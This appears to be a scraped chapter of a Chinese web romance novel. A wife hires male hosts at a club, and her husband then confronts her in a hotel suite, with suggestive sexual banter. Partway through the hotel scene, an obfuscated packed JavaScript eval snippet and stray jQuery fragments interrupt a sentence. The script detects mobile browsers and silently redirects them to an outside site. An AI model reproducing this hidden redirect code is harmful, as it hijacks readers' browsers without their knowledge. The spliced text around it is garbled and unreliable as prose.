68. 第 68 章

作品:《撩诱高岭之花后被迫从良

    这种不安的预感随着时间的流逝越发强烈起来。


    就好像是被人从暗处紧盯着一般,无论她去哪儿,漆黑的眼珠始终落在身上打量,穿过人群,精准捕捉。


    迟云伊拉着阳景涌入舞池中,躲到人多的地方,试图驱散这种不安。


    或许是错觉。


    男模在台上跳起性感火辣的热舞,光着上半身,双手与台下的女人十指紧握,扭起热舞,现场欢呼不断,阳景头一次见这阵仗,两只眼睛像铜铃一样盯着人家看。


    迟云伊笑她没见过世面,“这才哪到哪儿。”


    “看来是我太久没回国了,没想到国内都这么开放了。”


    阳景出国早,那时候国内还没这么多娱乐项目。有句话叫娱乐与经济衰败总是并存。现在大环境不好,娱乐业发达实属正常。


    迟云伊点了男模特色服务,借着这个机会带阳景见世面。


    六个男模上前来,有穿迷彩服、头盔墨镜挡脸的魁梧模子哥,有奶狗风懂事弟弟,还有西装革履禁/欲风帅哥,迟云伊多看了眼后者,这种穿衣风格跟项誉很相似。无一例外,穿衣显禁/欲,脱了衣服,一个比一个闷骚。


    六位模子哥左右环绕,均匀分布。阳景分到两个,左右为伴;迟云伊左右各一个,面前还跪着两个。


    居然还能跪着服务。


    阳景身边的奶狗帅哥见状,也去她面前单膝下跪,抓过她的手,轻轻放在脸上,脸颊在她掌心蹭触,吓得阳景甩着手收回,“不用了,谢谢。你、你坐,不用这么……”


    奶狗帅哥绷不住笑了。


    迟云伊那边一看就知道她是这里的常客。左边一位男模负责喂水果,右边帅哥负责给摸腹肌,身前两位负责聊天说话,提供情绪价值。


    给迟云伊喂水果那位男模哥有一些巧思,比如嘴对嘴喂草莓。迟云伊弯唇笑着去接。草莓即将碰到嘴边时,她后闪躲开,手抓过草莓,扭头喂给身边的男模吃。


    面上是在闹着玩,实际上迟云伊在嫌弃。男模哥不知道这样叼着草莓喂过多少人,她才不要吃进嘴里。


    另一位模子哥嚼着草莓吃下,也不知是故意的还是怎么着,唇上多了一层草莓汁液染过的水光,搭配着水漉漉的眸子,不知道的还以为发生了什么舌头舔花事件。


    迟云伊摸摸他的脸,“好吃吗?”


    男模点点头。


    迟云伊亲手喂了一个给他吃,男模膝行两步,凑得更近,“还要。”


    迟云伊大笑两声,直接把果盘送给他,“都给你,”她挑挑眉,“姐对你好吧?”


    男模:“……”


    阳景:“……”好油腻,没眼看了。


    身旁另一位男模哥因此争风吃醋,“水果都给了他,那我吃什么?姐姐要不开瓶酒吧。”


    “开开开,他吃水果,你喝酒,”迟云伊转头问其他人,“你们呢,吃水果还是喝酒?”


    他们异口同声说喝酒。


    客人开酒对他们来说有提成,且开的越多越好。那位只得到一大盘果盘的男模哥要风化了。


    迟云伊大口喝酒。


    阳景不知为何有些想笑。


    早先还有皇帝的时候,后宫里哪个女人不是争先恐后琢磨皇上的心思。只要把皇上哄高兴,好赏赐要多少有多少。


    现在轮到女人当皇帝,轮到女人变成被簇拥的对象,心里竟有一些说不出来的爽!


    迟云伊看看阳景,始终抱着抱枕看她玩,跟个鹌鹑似的,不由问道:“怎么了宝贝,他们都不合你眼缘?”


    阳景不知道当讲还是不当讲,不想得罪男模哥,于是就闭嘴没乱说话。迟云伊又给换了一波。


    阳景喜不喜欢不知道,这次男模里面有一个她特别喜欢的。


    一身西装,大背头,戴着眼镜,身材极好,胸前一鼓一鼓,还是个男妈妈。他和项誉身上的气质有些像,给人的感觉十分疏离,情绪少得可怜,少到迟云伊恨不得把那张脸摁进粪池子里涮一涮——这样说不准就能有情绪了。


    她竟然又想到项誉。


    以往迟云伊的理想型是浪荡痞帅狼狗,后来项誉在她面前存在感刷多了之后,她的口味竟然也跟着变了。


    “你,过来,我要你。”迟云伊有几分醉了。


    男模过来坐下,迟云伊身边的位置陷进去一块,她闻到一股让人熟悉的冷香气息,闻起来通体舒畅,比其他男模哥身上浓重的香水味好闻太多。


    眼前有点模糊,男人的轮廓长得像项誉,迟云伊笑说:“你看起来有点眼熟呐,姐之前是不是点过你。”


    男人掌心压在迟云伊后颈,一字未语,两人距离一下子凑近到可以接吻的程度。


    “vocal你松开点,太近了,老娘我是个有夫之妇……这不行这不行!你这小男模,胆子太大了!”


    项誉另一只手固定她的下颌,逼迫迟云伊睁眼,让她看清面前的人到底是谁。


    待看清来人,酒意散去,迟云伊眨眨眼,几乎是那一瞬间,如同耗子见到猫一样,甩开项誉的手,一屁股弹起来,躲去阳景身后。


    “怎、怎么了。”阳景懵圈。


    迟云伊不敢看,和阳景耳语,道:“项、项誉来了。阳景,救我。”


    “——??!”


    那个名叫项誉的男人站起身,人高马大,压迫感十足,在这喧闹火热的酒吧竟让人耻骨发凉,胳膊上起了一层鸡皮疙瘩。


    好强大的气场。


    这哥们浑身上下快被怨气淹没了。


    “过来。”项誉说。语调听着没有丝毫情绪波动,可是却如同寒日里刺骨的冰水一头浇下,让人头皮发麻。这显然是在跟迟云伊说话。


    阳景正迟疑着要不要解救自己的好姐妹,项誉身边却走过来另一个魁梧的男人。由于常年打拳,身材壮硕异常,如迟云伊所说那般,壮得跟头牛一样。


    项誉情绪内敛,他情绪外放,紧皱眉头,对妻子出来找男模这件事十分不喜。


    闻佑荆也追过来了。


    对阳景说:“你也给我过来。”


    “——!”


    -


    江都,某家五星级酒店。


    迟云伊十分钟前被带到这里。自打她进来后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432704|184119||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,厨房处水流声一直没停。项誉在洗水果,洗完水果切水果,刀子切东西的声音时时源源不断地传来。那几道声响好像切在迟云伊紧绷的弦上,在刻意折磨她,毁坏她的心理防线。


    项誉已经切完好三个水果拼盘。


    水果像是不花钱一样,一筐接着一筐。他唇线冷直,下颌冷硬,一声不吭,埋头切,切个不停。


    做完这些,红酒、白酒、啤酒挨个打开瓶盖。准备工作做完,有条不紊,通通端来迟云伊面前。


    彼时夜已深,透过落地窗,能清晰看到江都的繁华夜景,以及窗户上所倒映着的迟云伊和项誉的背影。


    男人走过去,将窗帘拉好,整个套房所有房间的窗帘全部拉好。


    迟云伊吞咽一口口水,“干、干什么?你不要过来,”她站起身,躲到安全距离,沙发隔着两人,这才有胆子开口,“我知道点男模是我不对,可是、可是你也知道我是个什么东西,你就当我是狗、狗改不了吃屎!”


    项誉漆黑的眸子紧盯着她,长腿向前,打破迟云伊最后一道防线,当即抱头认错,“我错了!真的错了……哎你别过来,我真的知道错了,有话好好说。”


    项誉如今一个字都没说。


    “你别搞我心态了,要打要骂悉听尊便!”


    “一共十四个男模,还记得我们上次的约定吗,宝贝?”


    “——!”


    他言语间并未流露出怒意,相反,说话温柔,眉眼温柔,可这样的温柔并没有让人觉得他在好声好气讲话。


    项誉善良提醒:“一个男模二十次,你自己算算总共欠我多少次。”


    老天爷可真是的大善人,知道项誉吃素已久,特意给他送来这么大一顿肥肉。


    “十四乘二十……二百八十次。假如一天还两次,大概140天还完。我觉得自己还年轻,人生的大好时光不应该浪费在这种事情上,项誉,这次我真的知道错了,你就睁一只眼闭一只眼吧,上次不也是这样,我感觉你都没怎么生气……”


    也就是看他没怎么生气,她才没把他的话记在心里,才敢这样放肆。


    项誉已经习惯自己生气生给瞎子看。


    他上次差点气晕过去。


    没在她面前刻意表现出来,那是因为他每回都在刻意控制自己的情绪。


    项誉从来没对迟云伊发过一次脾气。


    伊伊嫁给他的时候不过才二十二岁。现如今一晃两年过去,也才二十四岁。她还年轻,不懂事,身为丈夫自然也有责任。


    今晚他要他们两人都记着。


    印象深刻,以后就不敢了。


    “过来,坐下。”项誉回到沙发,给高脚杯里倒上红酒。


    “过去干什么,要、要开始了吗?在沙发上?”


    沙发正对着超大液晶电视,黑乎乎的电视屏幕能隐约看清沙发上的人在干什么。


    迟云伊担心的地方在这里——怕不是又要自己演小电影给自己看了。


    项誉见她迟迟不动,道:“过来,坐下。”


    “然后呢?”


    “玩我。”